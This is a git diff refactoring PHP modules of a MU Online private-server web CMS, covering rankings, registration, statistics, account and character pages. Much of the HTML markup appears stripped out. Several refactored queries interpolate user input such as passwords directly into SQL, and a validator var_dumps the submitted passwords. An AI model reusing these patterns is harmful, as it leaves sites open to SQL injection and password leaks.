- - - - - - - - - -'; -} -for($i=0;$i < $row_num;++$i) { - $row = mssql_fetch_row($result); +
+
+
- $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[8]'"); - $status = mssql_fetch_row($status_reults); - if($status[0] == 0){$status[0] ='';} - if($status[0] == 1){$status[0] ='';} +
#
'.mmw_lang_cant_find.'
+ + + + + + + + + + + + '; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $class = char_class($row[1]); + $status = ($row[4]) + ? '' + : ''; - $rank = $i+1; - - echo " - - - - - - - "; -} -?> + echo << + + + + + + + +HTML; + $rank++; + } + } + ?> +
#
' . mmw_lang_cant_find . '
$rank$row[0]$row[2]$row[3]".char_class($row[1],off)."$status[0]
{$rank}{$row[0]}{$row[2]}{$row[3]}{$class}{$status}
\ No newline at end of file diff --git a/modules/rankings/search_guild.php b/modules/rankings/search_guild.php index ed10aa5..605bea9 100644 --- a/modules/rankings/search_guild.php +++ b/modules/rankings/search_guild.php @@ -1,43 +1,67 @@ - -


 
- - - - - - - - - -'; -} -for($i=0;$i < $row_num;++$i) { - $rank = $i+1; - $row = mssql_fetch_row($result); - if($row[2]==NULL){$row[2]="0";} - $result2 = mssql_query("Select count(*) from GuildMember where G_name='$row[0]'"); - $row2 = mssql_fetch_row($result2); - $logo = urlencode(bin2hex($row[1])); +
+
+
-echo " - - - - - - - "; -} -?> +
#
'.mmw_lang_cant_find.'
$rank$row[0]$row[2]$row[3]$row2[0]',false); return false\">
+ + + + + + + + + + + + '; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + if (empty($row[2])) { + $row[2] = 0; + } + $logo = urlencode(bin2hex($row[1])); + + echo << + + + + + + + +HTML; + } + $rank++; + } + ?> +
#
' . mmw_lang_cant_find . '
{$rank}{$row[0]}{$row[2]}{$row[3]}{$row[4]} + + + +
\ No newline at end of file diff --git a/modules/register.php b/modules/register.php index 66a7347..f87e39b 100644 --- a/modules/register.php +++ b/modules/register.php @@ -1,119 +1,242 @@ -$country"; -} -?> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'.mmw_lang_account.'
'.mmw_lang_password.'
'.mmw_lang_repeat_password.'
'.mmw_lang_email_address.'
'.mmw_lang_secret_question.'
'.mmw_lang_secret_answer.'
'.mmw_lang_full_name.'
'.mmw_lang_country.'
'.mmw_lang_gender.' '.mmw_lang_male.'   '.mmw_lang_female.'
'.mmw_lang_security_code.'
- '; + + +if ($_GET['terms'] === 'agree') { + $selectCountry = ''; + foreach (country(null, true) as $id => $country) { + $selected_country = ($id == $_POST['country']) + ? ' selected' + : ''; + + $selectCountry .= ''; + } + + $language = array( + 'account' => mmw_lang_account, + 'password' => mmw_lang_password, + 'repeat_password' => mmw_lang_repeat_password, + 'email_address' => mmw_lang_email_address, + 'secret_question' => mmw_lang_secret_question, + 'secret_answer' => mmw_lang_secret_answer, + 'full_name' => mmw_lang_full_name, + 'country' => mmw_lang_country, + 'gender' => mmw_lang_gender, + 'male' => mmw_lang_male, + 'female' => mmw_lang_female, + 'security_code' => mmw_lang_security_code, + 'renew' => mmw_lang_renew, + 'new_account' => mmw_lang_new_account, + ); + $imageSourceRefresh = default_img('refresh.gif'); + + echo << + function check_register_form() { + var errors = []; + var list = [ + {key: 'account', message: 'Please enter Account.'}, + {key: 'password', message: 'Please enter Password.'}, + {key: 'repassword', message: 'Please enter Repeat password.'}, + {key: 'email', message: 'Please enter E-mail address.'}, + {key: 'question', message: 'Please enter Secret question.'}, + {key: 'answer', message: 'Please enter Secret answer.'}, + {key: 'country', message: 'Please select Country.'}, + {key: 'verifyinput', message: 'Please enter Verify input.'}, + ]; + + list.forEach(function (rule) { + if (document.register_from[rule.key].value === '') { + errors.push(rule.message); + } + }); + if (errors.length) { + alert(errors.join('\\n')); + } + + return !errors.length; + } + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{$language['account']}
{$language['password']}
{$language['repeat_password']}
{$language['email_address']}
{$language['secret_question']}
{$language['secret_answer']}
{$language['full_name']}
{$language['country']}
{$language['gender']} + +   + +
{$language['security_code']} + + captcha + renew +
+ + +
+
+HTML; } else { -if(is_file("lang/$_SESSION[set_lang]_terms.txt")) {$terms_file = "lang/$_SESSION[set_lang]_terms.txt";} -else {$terms_file = "lang/English_terms.txt";} -$terms_read = fopen($terms_file, 'r'); -$terms = fread($terms_read, filesize($terms_file)); -fclose($terms_read); -?> -
- - - - - - - -
- - - -
-
- \ No newline at end of file + $terms_file = is_file('lang/' . $_SESSION['language'] . '_terms.txt') + ? 'lang/' . $_SESSION['language'] . '_terms.txt' + : 'lang/English_terms.txt'; + ?> +
+
+

+ + + + +
+
+ mmw_lang_character, + 'acc' => mmw_lang_account, + 'guild' => mmw_lang_guild, +); ?> - +
- +
-
- ";?> - ";?> -
-
+
+ : + + : + + +
+
- + -
- -
\ No newline at end of file +
+ +
diff --git a/modules/statistics.php b/modules/statistics.php index 7928340..80544df 100644 --- a/modules/statistics.php +++ b/modules/statistics.php @@ -1,158 +1,150 @@ - 0) {$procent = substr(100 * $characters[0] / $total_characters[0], 0, 4);} -else {$procent = 0;} - if($type==0) {$return = $procent;} - else {$return = $characters[0];} -return $return; + 0) + ? substr(100 * $characters[0] / $total_characters[0], 0, 4) + : 0; + + return [$percent, $characters[0]]; } -function s_map_done($type,$map) { -$total_characters = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character") ); -$in_map_char = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character WHERE mapnumber = $map") ); -if($in_map_char[0] > 0) {$procent = substr(100 * $in_map_char[0] / $total_characters[0], 0, 4);} -else {$procent = 0;} - if($type==0) {$return = $procent;} - else {$return = $in_map_char[0];} -return $return; +$serverList = array(); +$result = mssql_query("SELECT Name,experience,drops,gsport,ip,version,type FROM dbo.MMW_SERVERS ORDER BY display_order"); +while ($row = mssql_fetch_row($result)) { + $status = '' . mmw_lang_serv_offline . ''; + if ($check = @fsockopen($row[4], $row[3], $error_code, $error_message, 0.8)) { + $status = '' . mmw_lang_serv_online . ''; + fclose($check); + } + $title = '' . mmw_lang_version . ': ' . $row[5] + . '
' . mmw_lang_experience . ': ' . $row[1] + . '
' . mmw_lang_drops . ': ' . $row[2] + . '
' . mmw_lang_type . ': ' . $row[6]; + $serverList[] = <<{$row[0]}: {$status} +HTML; } -$online_characters = mssql_query("SELECT count(*) FROM memb_stat WHERE connectstat = 1"); +$online_characters = mssql_query("SELECT count(*) FROM dbo.MEMB_STAT WHERE connectstat = 1"); $online_characters_done = mssql_fetch_row($online_characters); $online = substr(100 * $online_characters_done[0] / $total_accounts[0], 0, 4); $users_connected_results = substr(100 * $users_connected[0] / $total_accounts[0], 0, 4); $total_banneds_results = substr(100 * $total_banneds[0] / $total_accounts[0], 0, 4); -$in_guilds = mssql_query("Select count(*) from GuildMember WHERE G_Name!='$gm_guild'"); +$in_guilds = mssql_query("SELECT count(*) FROM dbo.GuildMember WHERE G_Name!='{$mmw['gm_guild']}'"); $total_in_guilds = mssql_fetch_row($in_guilds); -if($total_in_guilds[0] > 0) {$total_in_guilds_results = substr(100 * $total_in_guilds[0] / $total_characters[0], 0, 4);} -else {$total_in_guilds_results = 0;} +$total_in_guilds_results = !empty($total_in_guilds[0]) + ? substr(100 * $total_in_guilds[0] / $total_characters[0], 0, 4) + : 0; -$male = mssql_query("Select count(*) from MEMB_INFO where gender='male'"); +$male = mssql_query("SELECT count(*) FROM dbo.MEMB_INFO WHERE gender='male'"); $male_done = mssql_fetch_row($male); $male_results = substr(100 * $male_done[0] / $total_accounts[0], 0, 4); -$female = mssql_query("Select count(*) from MEMB_INFO where gender='female'"); +$female = mssql_query("SELECT count(*) FROM dbo.MEMB_INFO WHERE gender='female'"); $female_done = mssql_fetch_row($female); $female_results = substr(100 * $female_done[0] / $total_accounts[0], 0, 4); -?> - - - - -
-".mmw_lang_serv_online."";} - else {$status_done = "".mmw_lang_serv_offline."";} - echo " ".mmw_lang_version.": $row[5]
".mmw_lang_experience.": $row[1]
".mmw_lang_drops.": $row[2]
".mmw_lang_type.": $row[6]\">$row[0]
: $status_done" . $other_serv; -} +$informationList = array( + ['label' => mmw_lang_total_accounts, 'percent' => 100, 'count' => $total_accounts[0]], + ['label' => mmw_lang_total_characters, 'percent' => 100, 'count' => $total_characters[0], 'link' => '?op=rankings&sort=all'], + ['label' => mmw_lang_total_banneds, 'percent' => $total_banneds_results, 'count' => $total_banneds[0], 'link' => '?op=blocked'], + ['label' => mmw_lang_total_guilds, 'percent' => 100, 'count' => $total_guilds[0], 'link' => '?op=rankings&sort=guild'], + ['label' => mmw_lang_total_in_guilds, 'percent' => $total_in_guilds_results, 'count' => $total_in_guilds[0]], + ['label' => mmw_lang_total_users_online, 'percent' => $users_connected_results, 'count' => $users_connected[0], 'link' => '?op=rankings&sort=online'], + ['label' => mmw_lang_total_male_users, 'percent' => $male_results, 'count' => $male_done[0]], + ['label' => mmw_lang_total_female_users, 'percent' => $female_results, 'count' => $female_done[0]], +); ?> -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
- 100% ($total_accounts[0])";?> -
- 100% ($total_characters[0])";?> -
- $total_banneds_results% ($total_banneds[0])";?> -
- 100% ($total_guilds[0])";?> -
- $total_in_guilds_results% ($total_in_guilds[0])";?> -
- $users_connected_results% ($users_connected[0])";?> -
- $male_results% ($male_done[0])";?> -
- $female_results% ($female_done[0])";?> -
+ + +
+ +
- - - - - - - - - + + +
- ".s_characters_done(0,$mmw[statistics_char_row][$i])."% (".s_characters_done(1,$mmw[statistics_char_row][$i]).")";?> -
+ + + + + +
+ ' . $info['count'] . ''; + + echo <<{$info['percent']}% ({$htmlCount}) +HTML; + ?> +
- + + + + + + + + + +
+ {$percent}% ({$count}) +HTML; + ?> +
- - - - - - - -
- ".s_map_done(0,$mmw[statistics_maps_row][$i])."% (".s_map_done(1,$mmw[statistics_maps_row][$i]).")";?> -
\ No newline at end of file + + + + + + + + + +
+ {$percent}% ({$count}) +HTML; + ?> +
diff --git a/modules/user.php b/modules/user.php index a33f375..7bb5ba4 100644 --- a/modules/user.php +++ b/modules/user.php @@ -1,19 +1,27 @@ - \ No newline at end of file +$acc_online_check = (int)@current(mssql_fetch_row(mssql_query("SELECT ConnectStat FROM dbo.MEMB_STAT WHERE memb___id='{$account}'"))); + +$userModule = preg_replace('/[^\w_-]/', '', $_GET['u']); +if (empty($userModule)) { + require_once 'modules/user/acc.php'; +} elseif (is_file('modules/user/' . $userModule . '.php')) { + require_once 'modules/user/' . $userModule . '.php'; +} elseif (is_file('modules/user/' . $userModule . '.mmw')) { + mmw('modules/user/' . $userModule . '.mmw'); +} else { + echo $die_start . 'Empty Page, Go Back!' . $die_end; +} diff --git a/modules/user/acc.php b/modules/user/acc.php index 9dce617..a7c8739 100644 --- a/modules/user/acc.php +++ b/modules/user/acc.php @@ -1,218 +1,445 @@ -0) { - for($i=0; $i < $referral_num; ++$i) { - $rank = $i + 1; - $referral_row = mssql_fetch_row($referral_result); - if($referral_row[1]<=0) { - $char_ref_sql = mssql_query("Select name,Reset From Character WHERE AccountID='$referral_row[0]'"); - for($c=0; $c < mssql_num_rows($char_ref_sql); ++$c) { - $char_ref_row = mssql_fetch_row($char_ref_sql); - if($char_ref_row[1]>0 && $referral_row[1]<=0) { - mssql_query("UPDATE MEMB_INFO SET [ref_check]='1' WHERE memb___id='$referral_row[0]'"); - $referral_row[1] = 1; - $wh_resoult = mssql_query("Select AccountID,extMoney From warehouse WHERE AccountID = '$login'"); - $wh_row = mssql_fetch_row($wh_resoult); $wh_updated = $wh_row[1] + $mmw[zen_for_ref]; - mssql_query("UPDATE warehouse SET [extMoney]='$wh_updated' WHERE AccountID = '$login'"); - writelog("referral","Account $login Has Been GET Zen: $mmw[zen_for_ref]|For Acc: $referral_row[0]|For Char: $char_ref_row[0]"); + array('label' => $die_start . mmw_lang_invalid_current_password . $die_end, 'len_min' => 4, 'len_max' => 10, 'cont' => 'alpha'), + 'new_password' => array('label' => $die_start . mmw_lang_invalid_new_password . $die_end, 'len_min' => 4, 'len_max' => 10, 'cont' => 'alpha'), + 'renew_password' => array('label' => $die_start . mmw_lang_invalid_repassword . $die_end, 'len_max' => 10, 'equal' => 'new_password') + ); + + $errorValidates = false; + foreach ($validates as $field => $rule) { + if (!isset($_POST[$field]) + || strlen($_POST[$field]) < $rule['len_min'] + || strlen($_POST[$field]) > $rule['len_max'] + || ($rule['cont'] === 'alpha' && !preg_match('/^[a-z\d_-]*$/i', $_POST[$field])) + || ($rule['cont'] === 'email' && !filter_var($_POST[$field], FILTER_VALIDATE_EMAIL)) + || (isset($rule['equal']) && $_POST[$field] !== $_POST[$rule['equal']]) + ) { + echo $rule['label']; + var_dump($_POST[$field]); + var_dump($_POST[$rule['equal']]); + $errorValidates = true; + } + } + + if ($errorValidates !== true) { + $throwError = false; + + $oldPassword = stripslashes($_POST['old_password']); + $newPassword = stripslashes($_POST['new_password']); + $renewPassword = stripslashes($_POST['renew_password']); + + $queryPassword = ($mmw['md5']) + ? "[dbo].[fn_md5]('{$oldPassword}', '{$_SESSION['user']}')" + : "'{$oldPassword}'"; + $passwordCheck = mssql_num_rows(mssql_query("SELECT memb___id FROM dbo.MEMB_INFO WHERE memb___id='{$_SESSION['user']}' AND memb__pwd={$queryPassword}")); + + if ($acc_online_check !== 0) { + $throwError = true; + echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; + } + if ($passwordCheck === 0) { + $throwError = true; + echo $die_start . mmw_lang_invalid_current_password . $die_end; + } + + if (!$throwError) { + $queryPassword = ($mmw['md5']) + ? "[dbo].[fn_md5]('{$newPassword}', '{$_SESSION['user']}')" + : "'{$newPassword}'"; + + mssql_query("UPDATE dbo.MEMB_INFO SET [memb__pwd]={$queryPassword} WHERE memb___id ='{$_SESSION['user']}'"); + + $_SESSION['pass'] = $newPassword; + echo $okey_start . mmw_lang_password_changed . $okey_end; + } + } + echo $rowbr; +} + +if (isset($_POST['profile'])) { + $fullName = clean_var(stripslashes($_POST['full_name'])); + $age = clean_var(stripslashes($_POST['age'])); + $country = clean_var(stripslashes($_POST['country'])); + $avatar = clean_var(stripslashes($_POST['avatar'])); + $gender = clean_var(stripslashes($_POST['gender'])); + $hide_profile = clean_var(stripslashes($_POST['hide_profile'])); + $y = clean_var(stripslashes($_POST['y'])); + $msn = clean_var(stripslashes($_POST['msn'])); + $icq = clean_var(stripslashes($_POST['icq'])); + $skype = clean_var(stripslashes($_POST['skype'])); + + mssql_query("UPDATE dbo.MEMB_INFO SET [memb_name]='{$fullName}',[country]='{$country}',[gender]='{$gender}',[age]='{$age}',[avatar]='{$avatar}',[hide_profile]='{$hide_profile}',[y]='{$y}',[msn]='{$msn}',[icq]='{$icq}',[skype]='{$skype}' WHERE memb___id='{$_SESSION['user']}'"); + writelog('profile', 'Acc ' . $_SESSION['user'] . ' Has Been Change: [memb_name]=' . $fullName . ',[country]=' . $country . ',[gender]=' . $gender . ',[age]=' . $age . ',[avatar]=' . $avatar . ',[hide_profile]=' . $hide_profile . ',[y]=' . $y . ',[msn]=' . $msn . ',[icq]=' . $icq . ',[skype]=' . $skype); + echo $okey_start . mmw_lang_profile_edited . $okey_end; + + echo $rowbr; +} + +if (isset($_POST['new_request'])) { + if (empty($_POST['subject']) || empty($_POST['msg'])) { + echo $die_start . mmw_lang_left_blank . $die_end; + } else { + $title = bugsend(stripslashes($_POST['subject'])); + $msg = str_replace('[br]', '
', bugsend(stripslashes($_POST['msg']))); + $text = 'Acc: ' . $_SESSION['user'] . ', New Request Title: ' . $title . '
' . $msg . '
All Those On ' . date('d.m.Y H:i:s') . ' By ' . $_SERVER['REMOTE_ADDR'] . '
' . PHP_EOL; + $fp = fopen('logs/request.htm', 'a'); + fputs($fp, $text); + fclose($fp); + echo $okey_start . mmw_lang_request_sent . $okey_end; + } + echo $rowbr; +} + +$accInfo_result = mssql_query("SELECT mail_addr,memb_name,age,country,gender,avatar,hide_profile,y,msn,icq,skype,appl_days FROM dbo.MEMB_INFO WHERE memb___id='{$_SESSION['user']}'"); +$accInfo = mssql_fetch_row($accInfo_result); + +$timeInfo_result = mssql_query("SELECT ConnectTM,DisconnectTM FROM dbo.MEMB_STAT WHERE memb___id='{$_SESSION['user']}'"); +$timeInfo = mssql_fetch_row($timeInfo_result); + +// Referral +if ($mmw['referral']['switch']) { + $referral_list = mmw_lang_no_referral; + $referral_num_check = 0; + + $referral_result = mssql_query("SELECT memb___id,ref_check FROM dbo.MEMB_INFO WHERE ref_acc='{$_SESSION['user']}'"); + if ($referral_num = mssql_num_rows($referral_result)) { + $rank = 0; + $referral_list = ''; + while ($referral_row = mssql_fetch_row($referral_result)) { + $rank++; + if (empty($referral_row[1])) { + $char_ref_sql = mssql_query("SELECT name FROM dbo.Character WHERE AccountID='{$referral_row[0]}' AND {$mmw['reset_column']} > 0"); + if (mssql_num_rows($char_ref_sql)) { + $referral_row[1] = 1; + $referral_character = mssql_fetch_row($char_ref_sql)[0]; + mssql_query("UPDATE dbo.MEMB_INFO SET [ref_check]=1 WHERE memb___id='{$referral_row[0]}'"); + mssql_query("UPDATE dbo.warehouse SET [extMoney]=[extMoney] + {$mmw['referral']['zen']} WHERE AccountID='{$_SESSION['user']}'"); + writelog('referral', 'Account ' . $_SESSION['user'] . ' Has Been GET Zen: ' . $mmw['referral']['zen'] . '|For Acc: ' . $referral_row[0] . '|For Char: ' . $referral_character); } } + + $referralStatus = empty($referral_row[1]) + ? mmw_lang_have_not_a_reset + : mmw_lang_have_a_reset; + $referral_list .= $rank . '. ' . $referral_row[0] . ' (' . $referralStatus . ')
'; + + if (!empty($referral_row[1])) { + $referral_num_check++; + } } - if($referral_row[1]==1) {$ref_status = mmw_lang_have_a_reset;} else {$ref_status = mmw_lang_have_not_a_reset;} - $referral_list = $referral_list . "$rank. $referral_row[0] ($ref_status)
"; } - } - else { - $referral_list = mmw_lang_no_referral; - } - $referral_result_check = mssql_query("SELECT memb___id FROM MEMB_INFO WHERE ref_acc='$login' AND ref_check='1'"); - $referral_num_check = mssql_num_rows($referral_result_check); - } - // Online - if($acc_info[6]==1) {$hide_profile = mmw_lang_yes;} else {$hide_profile = mmw_lang_no;} - $country = country($acc_info[3]); - - // Offline - if($acc_info[4]=='female') {$gender_sel[1]="selected";} else {$gender_sel[0]="selected";} - if($acc_info[6]>=0) {$hide_profile_sel[$acc_info[6]]="selected";} - for($i=0; $i<139; ++$i) { - $country = country($i); - if($i == $acc_info[3]){$selected_country="selected";} else{$selected_country="";} - $select_country = $select_country . ""; - } +} ?> -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
:
:
:
:
:?ref=
:
:
:
:
:
: []
:
:
:
:
:
:
:
:
:
:
Yahoo!:
MSN:
ICQ:
Skype:
:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:
:
:
:
:?ref=
: + + + +
:
:
: + + + +
:
: + + [] + +
: + + + +
:
:
:
:
: +
:
:
:
: +
Yahoo!:
MSN:
ICQ:
Skype:
: + +
: + +
: + +
: + +
: + +
: + +
Yahoo!: + +
MSN: + +
ICQ: + +
Skype: + +
+ + +
- - -
- - - - - - - - - - - - - - - - - -
:
:
:
:
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
:
:
:
+ + + + + +
- - -
- - - - - - - - - - - - - - - - - -
: Administrator
:
:
:
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Contact the administrator
: + +
: + +
: + +
+ + +
\ No newline at end of file diff --git a/modules/user/char.php b/modules/user/char.php index 7239e6f..41f94df 100644 --- a/modules/user/char.php +++ b/modules/user/char.php @@ -1,185 +1,327 @@ -'> $guildm[0]"; - if($mmw[mix_cs_memb_reset]=="yes") { - $cs_query = mssql_query("SELECT owner_guild,money FROM MuCastle_DATA"); - $cs_row = mssql_fetch_row($cs_query); - if($cs_row[0]==$guildm[0]){ - if($mmw[max_zen_cs_reset]>$cs_row[1]){$edited_zen_cs = $cs_row[1];} else{$edited_zen_cs = $mmw[max_zen_cs_reset];} - $cs_memb_reset_zen = ( substr($mmw['reset_money'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100; - $cs_memb_reset_proc = '
'.mmw_lang_you_have.': -'.ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ).'%'; + mmw_lang_reset, + 'you_have' => mmw_lang_you_have, + 'add_points' => mmw_lang_add_point, + 'price' => mmw_lang_price, + 'pk_clear' => mmw_lang_pk_clear, + 'select_map' => mmw_lang_select_map, + 'move' => mmw_lang_move, + 'class_price' => mmw_lang_class_price, + 'select_class' => mmw_lang_select_class, + 'change' => mmw_lang_change, + ); + + $char_results = mssql_query("SELECT Name,class,strength,dexterity,vitality,energy,leadership,experience,money,mapnumber,clevel,{$mmw['reset_column']},LevelUpPoint,pkcount,pklevel,CtlCode FROM dbo.Character WHERE Name='{$_SESSION['character']}'"); + $info = mssql_fetch_row($char_results); + + $simpleClass = Character::characterClassToSimpleClass($info[1]); + + $warehouseResult = mssql_query("SELECT extMoney FROM dbo.warehouse WHERE AccountID='{$_SESSION['user']}'"); + $warehouseRow = mssql_fetch_row($warehouseResult); + if (empty($warehouseRow[0])) { + $warehouseRow[0] = 0; + } + $all_money = $info[8] + $warehouseRow[0]; + + $guild_result = mssql_query("SELECT gm.G_Name,g.G_Mark + FROM dbo.GuildMember AS gm + JOIN dbo.Guild AS g ON g.G_Name = gm.G_Name + WHERE gm.Name='{$_SESSION['character']}'"); + $guild_row = mssql_fetch_row($guild_result); + if (empty($guild_row[0])) { + $guildData = mmw_lang_no_guild; + } else { + $guildMark = urlencode(bin2hex($guild_row[1])); + $guildData = << +{$guild_row[0]} +HTML; + } + + + if ($mmw['reset']) { + $resetLevel = $mmw['reset_level'][$simpleClass]; + $resetPrice = $mmw['reset_money']; + + if ($mmw['reset_money_system']) { + $resetPrice *= ($info[11] + 1); + } + if (!empty($mmw['reset_limit_price']) && $mmw['reset_limit_price'] < $resetPrice) { + $resetPrice = $mmw['reset_limit_price']; + } + + $castleSiegeResetNotice = ''; + if ($mmw['cs_memb_reset_discount'] && !empty($guild_row[0])) { + $castle_siege_result = mssql_query("SELECT OWNER_GUILD,MONEY FROM dbo.MuCastle_DATA"); + $castle_siege_row = mssql_fetch_row($castle_siege_result); + if ($castle_siege_row[0] === $guild_row[0]) { + $castleSiegeResetPercent = ($mmw['cs_memb_reset_must_have_zen'] > $castle_siege_row[1]) + ? ceil($castle_siege_row[1] * $mmw['cs_memb_reset_max_percent'] / $mmw['cs_memb_reset_must_have_zen']) + : $mmw['cs_memb_reset_max_percent']; + + $castleSiegeResetNotice = mmw_lang_you_have . ': -' . $castleSiegeResetPercent . '%
'; + $resetPrice -= ceil($resetPrice * $castleSiegeResetPercent / 100); + } + } + + if ($info[10] < $resetLevel) { + $reset = mmw_lang_need . ' ' . $resetLevel . ' ' . mmw_lang_level . '!'; + } elseif ($all_money < $resetPrice) { + $reset = mmw_lang_need . ' ' . zen_format($resetPrice) . ' Zen!'; + } else { + $price = zen_format($resetPrice); + + $reset = << +{$language['price']}: {$price} Zen!
{$castleSiegeResetNotice} + + +HTML; } } -} -if($info[1] >= 0 && $info[1] <= 15) {$reset_level = $mmw[reset_level_dw];} -if($info[1] >= 16 && $info[1] <= 31) {$reset_level = $mmw[reset_level_dk];} -if($info[1] >= 32 && $info[1] <= 47) {$reset_level = $mmw[reset_level_elf];} -if($info[1] >= 48 && $info[1] <= 63) {$reset_level = $mmw[reset_level_mg];} -if($info[1] >= 64 && $info[1] <= 79) {$reset_level = $mmw[reset_level_dl];} -if($info[1] >= 80 && $info[1] <= 95) {$reset_level = $mmw[reset_level_sum];} -if($info[12]==NULL || $info[12]==" "){$info[12] = mmw_lang_no_kills;} + if ($mmw['add_points']) { + if ($info[12] < 1) { + $addPoints = mmw_lang_no_up_point_found; + } else { + $add_command = ''; + if ($simpleClass === 'dl') { + $add_command = 'Command
'; + } + + $addPoints = << +{$language['you_have']}: {$info[12]}
+
+ Strength
+ Agility
+ Vitality
+ Energy
+ {$add_command} +
+ + +HTML; + } + } -include("includes/move.php"); -$locations = ''; - - -$add_stats = 'Strength
'; -$add_stats = $add_stats.'Agility
'; -$add_stats = $add_stats.'Vitality
'; -$add_stats = $add_stats.'Energy
'; -if($info[1] >= 64 && $info[1] <= 79){$add_stats = $add_stats.'Command
';} - -if($mmw[mix_cs_memb_reset]=="yes" && $cs_row[0]==$guildm[0]) {$edited_res_money = $mmw['reset_money'] - ($cs_memb_reset_zen * 1000000);} -else {$edited_res_money = $mmw['reset_money'];} -if($mmw[reset_system]=='yes') {$resetzen = $edited_res_money * ($info[10] + 1);} -else {$resetzen = $edited_res_money;} -if($mmw[reset_limit_price] != '0' && $mmw[reset_limit_price] <= $resetzen) {$resetzen = $mmw[reset_limit_price];} - -if($info[9] < $reset_level) {$reset = mmw_lang_need." $reset_level ".mmw_lang_level.'!';} -elseif( $all_money < $resetzen) {$reset = mmw_lang_need.' '.zen_format($resetzen).' Zen!';} -else {$reset = "
".mmw_lang_price.': '.zen_format($resetzen)." Zen! $cs_memb_reset_proc
";} - -if($info[11] <= 0) {$addpoint = mmw_lang_no_up_point_found;} -elseif($info[11] >= 1) {$addpoint = "
".mmw_lang_you_have.": $info[11]
$add_stats
";} - -if($all_money < $mmw['pkmoney']) {$pkclear = mmw_lang_need.' '.zen_format($mmw['pkmoney'])." Zen!";} -elseif($info[13] <= 3) {$pkclear = mmw_lang_no_pk_status_found;} -elseif($info[13] > 3) {$pkclear = "
".mmw_lang_price.': '.zen_format($mmw['pkmoney'])." Zen!
";} - -if($info[9] < 6) {$move = mmw_lang_need_6_level;} -elseif($all_money < $mmw['move_zen']) {$move = mmw_lang_need.' '.zen_format($mmw['move_zen']).' Zen!';} -else {$move="
".mmw_lang_price.': '.zen_format($mmw['move_zen'])." Zen!
$locations
";} - - -if($mmw[change_class] == 'yes') { - include("includes/change_class.php"); - $change_class_form = ' + +HTML; + } } - $change_class_form .= ''; - $change_class = "
".mmw_lang_class_price."
$change_class_form
"; -} -?> - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0){?> - - - - - - - - - - - - - - - + + + if ($mmw['move']) { + if ($info[10] < 6) { + $move = mmw_lang_need_6_level; + } elseif ($all_money < $mmw['move_zen']) { + $move = mmw_lang_need . ' ' . zen_format($mmw['move_zen']) . ' Zen!'; + } else { + $price = zen_format($mmw['move_zen']); + $locationOptions = ''; + foreach ($mmw['move_list'] as $index => $location) { + $locationOptions .= ''; + } + + $move = << +{$language['price']}: {$price} Zen!
+
+ + +HTML; + } + } + + + if ($mmw['change_class']) { + $changeClassOptions = ''; + foreach ($mmw['change_class_list'] as $index => $row) { + $changeClassOptions .= ''; + } + + $changeClass = << +{$language['class_price']}
+
+ + +HTML; + } + ?> + +
:
:
:
:
:
:
:
:
Strength:
Agility:
Vitality:
Energy:
Command:
Zen:
: ()
:
+ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
: + +
:
:
:
:
:
:
:
Strength:
Agility:
Vitality:
Energy:
Command:
Zen:
: + + () +
:
+
+ <?php echo char_class($info[1], 'full'); ?> +

+ +
+ + + +
+ + + +
+ + + +
+ + + +
+ + +
-
- ";?>

- -
- - -
- - -
- - -
- - -
- -
- - \ No newline at end of file + + + - - Your Level: - () - - - Security Code: - - - - Admin Area: - Enter - - +require_once __DIR__ . '/../../includes/shout_msg.php'; -HEX Ware House Can Edit!
" . $rowbr; - //HEX WH - mssql_query("declare @vault varbinary(1920); set @vault=(SELECT Items FROM warehouse where AccountId='$login'); print @vault;"); - $vault = substr(mssql_get_last_message(),2); - $result = mssql_query("SELECT Money,extMoney FROM warehouse WHERE accountid='$login'"); - $row = mssql_fetch_row($result); -?> -
- - - - - - - - - - - -
: :
-
-' . $_SESSION['user'] . ' Has Been
edit wh
: ' . $hex_wh . ' | [Money]=' . $money . ', [extMoney]=' . $extMoney); + } + echo $rowbr; } +if (isset($_POST['gm_msg'])) { + $text = stripslashes($_POST['gm_msg']); -if($mmw[status_rules][$_SESSION[mmw_status]][gm_msg] == 1) { - echo "
GameMaster Chat In Game!
" . $rowbr; - if(isset($_POST[gm_msg])) {$gm_msg = $_POST[gm_msg];} - else {$gm_msg = "$char: TEXT";} -?> -
- - - - - - - -
-
-' . $_SESSION['user'] . ' Has Been
Send Msg
: ' . $text); + } + echo $rowbr; } +if (isset($_POST['block_mode'])) { + $block_mode = intval($_POST['block_mode']); + $entity = clean_var(stripslashes($_POST['entity'])); + $entity_value = clean_var(stripslashes($_POST['entity_value'])); + $account_unblock = clean_var(stripslashes($_POST['account_unblock'])); + $unblock_time = intval($_POST['unblock_time']); + $block_date = clean_var(stripslashes($_POST['block_date'])); + $block_reason = clean_var(stripslashes($_POST['block_reason'])); -if($mmw[status_rules][$_SESSION[mmw_status]][gm_block] == 1) { - echo "
Set Block and UnBlock acc!
